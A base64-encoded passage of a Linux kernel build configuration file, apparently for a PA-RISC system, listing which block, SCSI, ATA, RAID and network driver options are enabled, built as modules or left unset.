PXkKQ09ORklHX1JFR01BUF9JMkM9eQojIENPTkZJR19ETUFfU0hBUkVEX0JVRkZFUiBpcyBu
b3Qgc2V0CgojCiMgQnVzIGRldmljZXMKIwojIENPTkZJR19DT05ORUNUT1IgaXMgbm90IHNl
dAojIENPTkZJR19NVEQgaXMgbm90IHNldAojIENPTkZJR19PRiBpcyBub3Qgc2V0CkNPTkZJ
R19BUkNIX01JR0hUX0hBVkVfUENfUEFSUE9SVD15CiMgQ09ORklHX1BBUlBPUlQgaXMgbm90
IHNldApDT05GSUdfQkxLX0RFVj15CiMgQ09ORklHX0JMS19ERVZfTlVMTF9CTEsgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWX1BDSUVTU0RfTVRJUDMyWFggaXMgbm90IHNldAojIENP
TkZJR19CTEtfQ1BRX0NJU1NfREEgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0RBQzk2
MCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfVU1FTSBpcyBub3Qgc2V0CiMgQ09ORklH
X0JMS19ERVZfQ09XX0NPTU1PTiBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0xPT1A9eQpD
T05GSUdfQkxLX0RFVl9MT09QX01JTl9DT1VOVD04CiMgQ09ORklHX0JMS19ERVZfQ1JZUFRP
TE9PUCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfRFJCRCBpcyBub3Qgc2V0CiMgQ09O
RklHX0JMS19ERVZfTkJEIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9TS0QgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWX1NYOCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZf
UkFNIGlzIG5vdCBzZXQKIyBDT05GSUdfQ0RST01fUEtUQ0RWRCBpcyBub3Qgc2V0CiMgQ09O
RklHX0FUQV9PVkVSX0VUSCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWX1JCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZf
UlNYWCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfTlZNRSBpcyBub3Qgc2V0CgojCiMg
TWlzYyBkZXZpY2VzCiMKIyBDT05GSUdfU0VOU09SU19MSVMzTFYwMkQgaXMgbm90IHNldAoj
IENPTkZJR19BRDUyNVhfRFBPVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RVTU1ZX0lSUSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1BIQU5UT00gaXMgbm90IHNldAojIENPTkZJR19TR0lfSU9DNCBp
cyBub3Qgc2V0CiMgQ09ORklHX1RJRk1fQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklHX0lDUzkz
MlM0MDEgaXMgbm90IHNldAojIENPTkZJR19FTkNMT1NVUkVfU0VSVklDRVMgaXMgbm90IHNl
dAojIENPTkZJR19IUF9JTE8gaXMgbm90IHNldAojIENPTkZJR19BUERTOTgwMkFMUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0lTTDI5MDAzIGlzIG5vdCBzZXQKIyBDT05GSUdfSVNMMjkwMjAg
aXMgbm90IHNldAojIENPTkZJR19TRU5TT1JTX1RTTDI1NTAgaXMgbm90IHNldAojIENPTkZJ
R19TRU5TT1JTX0JIMTc4MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFTlNPUlNfQkgxNzcwIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0VOU09SU19BUERTOTkwWCBpcyBub3Qgc2V0CiMgQ09ORklH
X0hNQzYzNTIgaXMgbm90IHNldAojIENPTkZJR19EUzE2ODIgaXMgbm90IHNldAojIENPTkZJ
R19CTVAwODVfSTJDIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NXSVRDSF9GU0E5NDgwIGlz
IG5vdCBzZXQKIyBDT05GSUdfU1JBTSBpcyBub3Qgc2V0CiMgQ09ORklHX0MyUE9SVCBpcyBu
b3Qgc2V0CgojCiMgRUVQUk9NIHN1cHBvcnQKIwojIENPTkZJR19FRVBST01fQVQyNCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0VFUFJPTV9MRUdBQ1kgaXMgbm90IHNldAojIENPTkZJR19FRVBS
T01fTUFYNjg3NSBpcyBub3Qgc2V0CiMgQ09ORklHX0VFUFJPTV85M0NYNiBpcyBub3Qgc2V0
CiMgQ09ORklHX0NCNzEwX0NPUkUgaXMgbm90IHNldAoKIwojIFRleGFzIEluc3RydW1lbnRz
IHNoYXJlZCB0cmFuc3BvcnQgbGluZSBkaXNjaXBsaW5lCiMKIyBDT05GSUdfU0VOU09SU19M
SVMzX0kyQyBpcyBub3Qgc2V0CgojCiMgQWx0ZXJhIEZQR0EgZmlybXdhcmUgZG93bmxvYWQg
bW9kdWxlCiMKIyBDT05GSUdfQUxURVJBX1NUQVBMIGlzIG5vdCBzZXQKCiMKIyBJbnRlbCBN
SUMgQnVzIERyaXZlcgojCgojCiMgU0NJRiBCdXMgRHJpdmVyCiMKCiMKIyBWT1AgQnVzIERy
aXZlcgojCgojCiMgSW50ZWwgTUlDIEhvc3QgRHJpdmVyCiMKCiMKIyBJbnRlbCBNSUMgQ2Fy
ZCBEcml2ZXIKIwoKIwojIFNDSUYgRHJpdmVyCiMKCiMKIyBJbnRlbCBNSUMgQ29wcm9jZXNz
b3IgU3RhdGUgTWFuYWdlbWVudCAoQ09TTSkgRHJpdmVycwojCgojCiMgVk9QIERyaXZlcgoj
CiMgQ09ORklHX0dFTldRRSBpcyBub3Qgc2V0CiMgQ09ORklHX0VDSE8gaXMgbm90IHNldAoj
IENPTkZJR19DWExfQkFTRSBpcyBub3Qgc2V0CiMgQ09ORklHX0NYTF9LRVJORUxfQVBJIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ1hMX0VFSCBpcyBub3Qgc2V0CkNPTkZJR19IQVZFX0lERT15
CkNPTkZJR19JREU9eQoKIwojIFBsZWFzZSBzZWUgRG9jdW1lbnRhdGlvbi9pZGUvaWRlLnR4
dCBmb3IgaGVscC9pbmZvIG9uIElERSBkcml2ZXMKIwpDT05GSUdfSURFX1hGRVJfTU9ERT15
CkNPTkZJR19JREVfQVRBUEk9eQojIENPTkZJR19CTEtfREVWX0lERV9TQVRBIGlzIG5vdCBz
ZXQKQ09ORklHX0lERV9HRD1tCkNPTkZJR19JREVfR0RfQVRBPXkKQ09ORklHX0lERV9HRF9B
VEFQST15CkNPTkZJR19CTEtfREVWX0lERUNEPW0KQ09ORklHX0JMS19ERVZfSURFQ0RfVkVS
Qk9TRV9FUlJPUlM9eQojIENPTkZJR19CTEtfREVWX0lERVRBUEUgaXMgbm90IHNldAojIENP
TkZJR19JREVfVEFTS19JT0NUTCBpcyBub3Qgc2V0CkNPTkZJR19JREVfUFJPQ19GUz15Cgoj
CiMgSURFIGNoaXBzZXQgc3VwcG9ydC9idWdmaXhlcwojCiMgQ09ORklHX0JMS19ERVZfUExB
VEZPUk0gaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9JREVETUFfU0ZGPXkKCiMKIyBQQ0kg
SURFIGNoaXBzZXRzIHN1cHBvcnQKIwpDT05GSUdfQkxLX0RFVl9JREVQQ0k9eQpDT05GSUdf
SURFUENJX1BDSUJVU19PUkRFUj15CiMgQ09ORklHX0JMS19ERVZfR0VORVJJQyBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19ERVZfT1BUSTYyMSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVW
X0lERURNQV9QQ0k9eQojIENPTkZJR19CTEtfREVWX0FFQzYyWFggaXMgbm90IHNldAojIENP
TkZJR19CTEtfREVWX0FMSTE1WDMgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0FNRDc0
WFggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0NNRDY0WCBpcyBub3Qgc2V0CiMgQ09O
RklHX0JMS19ERVZfVFJJRkxFWCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfSFBUMzY2
IGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9KTUlDUk9OIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl9QSUlYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9JVDgxNzIgaXMg
bm90IHNldAojIENPTkZJR19CTEtfREVWX0lUODIxMyBpcyBub3Qgc2V0CiMgQ09ORklHX0JM
S19ERVZfSVQ4MjFYIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfTlM4NzQxNT15CiMgQ09O
RklHX0JMS19ERVZfUERDMjAyWFhfT0xEIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9Q
REMyMDJYWF9ORVcgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NWV0tTIGlzIG5vdCBz
ZXQKQ09ORklHX0JMS19ERVZfU0lJTUFHRT15CiMgQ09ORklHX0JMS19ERVZfU0xDOTBFNjYg
aXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1RSTTI5MCBpcyBub3Qgc2V0CiMgQ09ORklH
X0JMS19ERVZfVklBODJDWFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9UQzg2QzAw
MSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0lERURNQT15CgojCiMgU0NTSSBkZXZpY2Ug
c3VwcG9ydAojCkNPTkZJR19TQ1NJX01PRD15CkNPTkZJR19SQUlEX0FUVFJTPXkKQ09ORklH
X1NDU0k9eQpDT05GSUdfU0NTSV9ETUE9eQojIENPTkZJR19TQ1NJX05FVExJTksgaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX01RX0RFRkFVTFQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X1BST0NfRlMgaXMgbm90IHNldAoKIwojIFNDU0kgc3VwcG9ydCB0eXBlIChkaXNrLCB0YXBl
LCBDRC1ST00pCiMKQ09ORklHX0JMS19ERVZfU0Q9eQojIENPTkZJR19DSFJfREVWX1NUIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ0hSX0RFVl9PU1NUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19E
RVZfU1I9eQojIENPTkZJR19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0CiMgQ09ORklH
X0NIUl9ERVZfU0cgaXMgbm90IHNldAojIENPTkZJR19DSFJfREVWX1NDSCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfQ09OU1RBTlRTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9MT0dH
SU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TQ0FOX0FTWU5DIGlzIG5vdCBzZXQKCiMK
IyBTQ1NJIFRyYW5zcG9ydHMKIwpDT05GSUdfU0NTSV9TUElfQVRUUlM9eQojIENPTkZJR19T
Q1NJX0ZDX0FUVFJTIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfSVNDU0lfQVRUUlM9eQpDT05G
SUdfU0NTSV9TQVNfQVRUUlM9eQojIENPTkZJR19TQ1NJX1NBU19MSUJTQVMgaXMgbm90IHNl
dApDT05GSUdfU0NTSV9TUlBfQVRUUlM9eQpDT05GSUdfU0NTSV9MT1dMRVZFTD15CiMgQ09O
RklHX0lTQ1NJX1RDUCBpcyBub3Qgc2V0CkNPTkZJR19JU0NTSV9CT09UX1NZU0ZTPXkKIyBD
T05GSUdfU0NTSV9DWEdCM19JU0NTSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ1hHQjRf
SVNDU0kgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0JOWDJfSVNDU0kgaXMgbm90IHNldAoj
IENPTkZJR19CRTJJU0NTSSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfM1dfWFhYWF9S
QUlEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9IUFNBIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV8zV185WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV8zV19TQVMgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX0FDQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQUNSQUlE
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV9BSUM3OVhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM5NFhYIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0NTSV9NVlNBUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVZVTUkg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX0FEVkFOU1lTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BUkNNU1IgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX0VTQVMyUiBpcyBub3Qgc2V0CkNPTkZJR19NRUdBUkFJRF9ORVdH
RU49eQojIENPTkZJR19NRUdBUkFJRF9NTSBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlE
X0xFR0FDWSBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlEX1NBUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfTVBUM1NBUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVBUMlNBUyBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfVUZTSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9IUFRJT1AgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NOSUMgaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0RNWDMxOTFEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9GVVRVUkVfRE9N
QUlOIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JUFMgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX0lOSVRJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSU5JQTEwMCBpcyBub3Qgc2V0
CkNPTkZJR19TQ1NJX0xBU0k3MDA9bQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkKIyBDT05G
SUdfU0NTSV9TVEVYIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfU1lNNTNDOFhYXzI9eQpDT05G
SUdfU0NTSV9TWU01M0M4WFhfRE1BX0FERFJFU1NJTkdfTU9ERT0xCkNPTkZJR19TQ1NJX1NZ
TTUzQzhYWF9ERUZBVUxUX1RBR1M9MTYKQ09ORklHX1NDU0lfU1lNNTNDOFhYX01BWF9UQUdT
PTY0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NTUlPPXkKIyBDT05GSUdfU0NTSV9JUFIgaXMg
bm90IHNldApDT05GSUdfU0NTSV9aQUxPTj15CkNPTkZJR19TQ1NJX05DUjUzQzhYWF9ERUZB
VUxUX1RBR1M9OApDT05GSUdfU0NTSV9OQ1I1M0M4WFhfTUFYX1RBR1M9MzIKQ09ORklHX1ND
U0lfTkNSNTNDOFhYX1NZTkM9MjAKIyBDT05GSUdfU0NTSV9RTE9HSUNfMTI4MCBpcyBub3Qg
c2V0CkNPTkZJR19TQ1NJX1FMQV9JU0NTST1tCiMgQ09ORklHX1NDU0lfREMzOTV4IGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9BTTUzQzk3NCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
V0Q3MTlYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfUE1DUkFJRCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUE04MDAxIGlzIG5v
dCBzZXQKQ09ORklHX1NDU0lfREg9eQojIENPTkZJR19TQ1NJX0RIX1JEQUMgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX0RIX0hQX1NXIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ESF9F
TUMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RIX0FMVUEgaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX09TRF9JTklUSUFUT1IgaXMgbm90IHNldApDT05GSUdfQVRBPXkKIyBDT05GSUdf
QVRBX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX0FUQV9WRVJCT1NFX0VSUk9SPXkK
Q09ORklHX1NBVEFfUE1QPXkKCiMKIyBDb250cm9sbGVycyB3aXRoIG5vbi1TRkYgbmF0aXZl
IGludGVyZmFjZQojCiMgQ09ORklHX1NBVEFfQUhDSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NB
VEFfQUhDSV9QTEFURk9STSBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfSU5JQzE2MlggaXMg
bm90IHNldAojIENPTkZJR19TQVRBX0FDQVJEX0FIQ0kgaXMgbm90IHNldAojIENPTkZJR19T
QVRBX1NJTDI0IGlzIG5vdCBzZXQKQ09ORklHX0FUQV9TRkY9eQoKIwojIFNGRiBjb250cm9s
bGVycyB3aXRoIGN1c3RvbSBETUEgaW50ZXJmYWNlCiMKIyBDT05GSUdfUERDX0FETUEgaXMg
bm90IHNldAojIENPTkZJR19TQVRBX1FTVE9SIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9T
WDQgaXMgbm90IHNldApDT05GSUdfQVRBX0JNRE1BPXkKCiMKIyBTQVRBIFNGRiBjb250cm9s
bGVycyB3aXRoIEJNRE1BCiMKIyBDT05GSUdfQVRBX1BJSVggaXMgbm90IHNldAojIENPTkZJ
R19TQVRBX01WIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9OViBpcyBub3Qgc2V0CiMgQ09O
RklHX1NBVEFfUFJPTUlTRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfU0lMIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0FUQV9TSVMgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1NWVyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NBVEFfVUxJIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9WSUEg
aXMgbm90IHNldAojIENPTkZJR19TQVRBX1ZJVEVTU0UgaXMgbm90IHNldAoKIwojIFBBVEEg
U0ZGIGNvbnRyb2xsZXJzIHdpdGggQk1ETUEKIwojIENPTkZJR19QQVRBX0FMSSBpcyBub3Qg
c2V0CiMgQ09ORklHX1BBVEFfQU1EIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BUlRPUCBp
cyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfQVRJSVhQIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFU
QV9BVFA4NjdYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9DTUQ2NFggaXMgbm90IHNldAoj
IENPTkZJR19QQVRBX0NZUFJFU1MgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0VGQVIgaXMg
bm90IHNldAojIENPTkZJR19QQVRBX0hQVDM2NiBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFf
SFBUMzdYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9IUFQzWDJOIGlzIG5vdCBzZXQKIyBD
T05GSUdfUEFUQV9IUFQzWDMgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0lUODIxMyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1BBVEFfSVQ4MjFYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9K
TUlDUk9OIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9NQVJWRUxMIGlzIG5vdCBzZXQKIyBD
T05GSUdfUEFUQV9ORVRDRUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9OSU5KQTMyIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9OUzg3NDE1IGlzIG5vdCBzZXQKIyBDT05GSUdfUEFU
QV9PTERQSUlYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9PUFRJRE1BIGlzIG5vdCBzZXQK
IyBDT05GSUdfUEFUQV9QREMyMDI3WCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfUERDX09M
RCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfUkFESVNZUyBpcyBub3Qgc2V0CiMgQ09ORklH
X1BBVEFfUkRDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9TQ0ggaXMgbm90IHNldAojIENP
TkZJR19QQVRBX1NFUlZFUldPUktTIGlzIG5vdCBzZXQKQ09ORklHX1BBVEFfU0lMNjgwPXkK
IyBDT05GSUdfUEFUQV9TSVMgaXMgbm90IHNldAojIENPTkZJR19QQVRBX1RPU0hJQkEgaXMg
bm90IHNldAojIENPTkZJR19QQVRBX1RSSUZMRVggaXMgbm90IHNldAojIENPTkZJR19QQVRB
X1ZJQSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfV0lOQk9ORCBpcyBub3Qgc2V0CgojCiMg
UElPLW9ubHkgU0ZGIGNvbnRyb2xsZXJzCiMKIyBDT05GSUdfUEFUQV9DTUQ2NDBfUENJIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9NUElJWCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFf
TlM4NzQxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfT1BUSSBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBVEFfUloxMDAwIGlzIG5vdCBzZXQKCiMKIyBHZW5lcmljIGZhbGxiYWNrIC8gbGVn
YWN5IGRyaXZlcnMKIwpDT05GSUdfQVRBX0dFTkVSSUM9eQojIENPTkZJR19QQVRBX0xFR0FD
WSBpcyBub3Qgc2V0CkNPTkZJR19NRD15CkNPTkZJR19CTEtfREVWX01EPW0KQ09ORklHX01E
X0xJTkVBUj1tCkNPTkZJR19NRF9SQUlEMD1tCkNPTkZJR19NRF9SQUlEMT1tCkNPTkZJR19N
RF9SQUlEMTA9bQpDT05GSUdfTURfUkFJRDQ1Nj1tCiMgQ09ORklHX01EX01VTFRJUEFUSCBp
cyBub3Qgc2V0CiMgQ09ORklHX01EX0ZBVUxUWSBpcyBub3Qgc2V0CiMgQ09ORklHX0JDQUNI
RSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0RNX0JVSUxUSU49eQpDT05GSUdfQkxLX0RF
Vl9ETT1tCiMgQ09ORklHX0RNX01RX0RFRkFVTFQgaXMgbm90IHNldAojIENPTkZJR19ETV9E
RUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX0NSWVBUIGlzIG5vdCBzZXQKIyBDT05GSUdf
RE1fU05BUFNIT1QgaXMgbm90IHNldAojIENPTkZJR19ETV9USElOX1BST1ZJU0lPTklORyBp
cyBub3Qgc2V0CiMgQ09ORklHX0RNX0NBQ0hFIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fRVJB
IGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fTUlSUk9SIGlzIG5vdCBzZXQKQ09ORklHX0RNX1JB
SUQ9bQojIENPTkZJR19ETV9aRVJPIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fTVVMVElQQVRI
IGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fREVMQVkgaXMgbm90IHNldApDT05GSUdfRE1fVUVW
RU5UPXkKIyBDT05GSUdfRE1fRkxBS0VZIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fVkVSSVRZ
IGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fU1dJVENIIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1f
TE9HX1dSSVRFUyBpcyBub3Qgc2V0CiMgQ09ORklHX1RBUkdFVF9DT1JFIGlzIG5vdCBzZXQK
Q09ORklHX0ZVU0lPTj15CkNPTkZJR19GVVNJT05fU1BJPXkKQ09ORklHX0ZVU0lPTl9TQVM9
eQpDT05GSUdfRlVTSU9OX01BWF9TR0U9MTI4CiMgQ09ORklHX0ZVU0lPTl9DVEwgaXMgbm90
IHNldAojIENPTkZJR19GVVNJT05fTE9HR0lORyBpcyBub3Qgc2V0CgojCiMgSUVFRSAxMzk0
IChGaXJlV2lyZSkgc3VwcG9ydAojCiMgQ09ORklHX0ZJUkVXSVJFIGlzIG5vdCBzZXQKIyBD
T05GSUdfRklSRVdJUkVfTk9TWSBpcyBub3Qgc2V0CkNPTkZJR19ORVRERVZJQ0VTPXkKQ09O
RklHX05FVF9DT1JFPXkKIyBDT05GSUdfQk9ORElORyBpcyBub3Qgc2V0CkNPTkZJR19EVU1N
WT1tCiMgQ09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9GQyBpcyBu
b3Qgc2V0CiMgQ09ORklHX05FVF9URUFNIGlzIG5vdCBzZXQKQ09ORklHX01BQ1ZMQU49bQpD
T05GSUdfTUFDVlRBUD1tCiMgQ09ORklHX0lQVkxBTiBpcyBub3Qgc2V0CiMgQ09ORklHX1ZY
TEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfTUFDU0VDIGlzIG5vdCBzZXQKQ09ORklHX05FVENP
TlNPTEU9bQpDT05GSUdfTkVUQ09OU09MRV9EWU5BTUlDPXkKQ09ORklHX05FVFBPTEw9eQpD
T05GSUdfTkVUX1BPTExfQ09OVFJPTExFUj15CkNPTkZJR19UVU49eQojIENPTkZJR19UVU5f
Vk5FVF9DUk9TU19MRSBpcyBub3Qgc2V0CiMgQ09ORklHX1ZFVEggaXMgbm90IHNldAojIENP
TkZJR19OTE1PTiBpcyBub3Qgc2V0CiMgQ09ORklHX0FSQ05FVCBpcyBub3Qgc2V0CgojCiMg
Q0FJRiB0cmFuc3BvcnQgZHJpdmVycwojCgojCiMgRGlzdHJpYnV0ZWQgU3dpdGNoIEFyY2hp
dGVjdHVyZSBkcml2ZXJzCiMKIyBDT05GSUdfTkVUX0RTQV9NVjg4RTZYWFggaXMgbm90IHNl
dAojIENPTkZJR19ORVRfRFNBX01WODhFNlhYWF9ORUVEX1BQVSBpcyBub3Qgc2V0CkNPTkZJ
R19FVEhFUk5FVD15CiMgQ09ORklHX05FVF9WRU5ET1JfM0NPTSBpcyBub3Qgc2V0CiMgQ09O
RklHX05FVF9WRU5ET1JfQURBUFRFQyBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX0FH
RVJFPXkKIyBDT05GSUdfRVQxMzFYIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9B
TFRFT04gaXMgbm90IHNldAojIENPTkZJR19BTFRFUkFfVFNFIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkVUX1ZFTkRPUl9BTUQgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9BUkM9eQoj
IENPTkZJR19ORVRfVkVORE9SX0FUSEVST1MgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVO
RE9SX0FVUk9SQSBpcyBub3Qgc2V0CkNPTkZJR19ORVRfQ0FERU5DRT15CiMgQ09ORklHX01B
Q0IgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX0JST0FEQ09NIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVUX1ZFTkRPUl9CUk9DQURFIGlzIG5vdCBzZXQKQ09ORklHX05FVF9WRU5E
T1JfQ0FWSVVNPXkKIyBDT05GSUdfVEhVTkRFUl9OSUNfUEYgaXMgbm90IHNldAojIENPTkZJ
R19USFVOREVSX05JQ19WRiBpcyBub3Qgc2V0CiMgQ09ORklHX1RIVU5ERVJfTklDX0JHWCBp
cyBub3Qgc2V0CiMgQ09ORklHX0xJUVVJRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZF
TkRPUl9DSEVMU0lPIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9DSVNDTyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0RORVQgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9ERUM9
eQpDT05GSUdfTkVUX1RVTElQPXkKIyBDT05GSUdfREUyMTA0WCBpcyBub3Qgc2V0CkNPTkZJ
R19UVUxJUD15CiMgQ09ORklHX1RVTElQX01XSSBpcyBub3Qgc2V0CiMgQ09ORklHX1RVTElQ
X01NSU8gaXMgbm90IHNldAojIENPTkZJR19UVUxJUF9OQVBJIGlzIG5vdCBzZXQKIyBDT05G
SUdfREU0WDUgaXMgbm90IHNldAojIENPTkZJR19XSU5CT05EXzg0MCBpcyBub3Qgc2V0CiMg
Q09ORklHX0RNOTEwMiBpcyBub3Qgc2V0CiMgQ09ORklHX1VMSTUyNlggaXMgbm90IHNldAoj
IENPTkZJR19ORVRfVkVORE9SX0RMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRP
Ul9FTVVMRVggaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9FWkNISVA9eQojIENPTkZJ
R19ORVRfVkVORE9SX0VYQVIgaXMgbm90IHNldApDT05GSUdfTkVUX1ZFTkRPUl9IUD15CkNP
TkZJR19IUDEwMD1tCkNPTkZJR19ORVRfVkVORE9SX0lOVEVMPXkKIyBDT05GSUdfRTEwMCBp
cyBub3Qgc2V0CkNPTkZJR19FMTAwMD15CiMgQ09ORklHX0UxMDAwRSBpcyBub3Qgc2V0CiMg
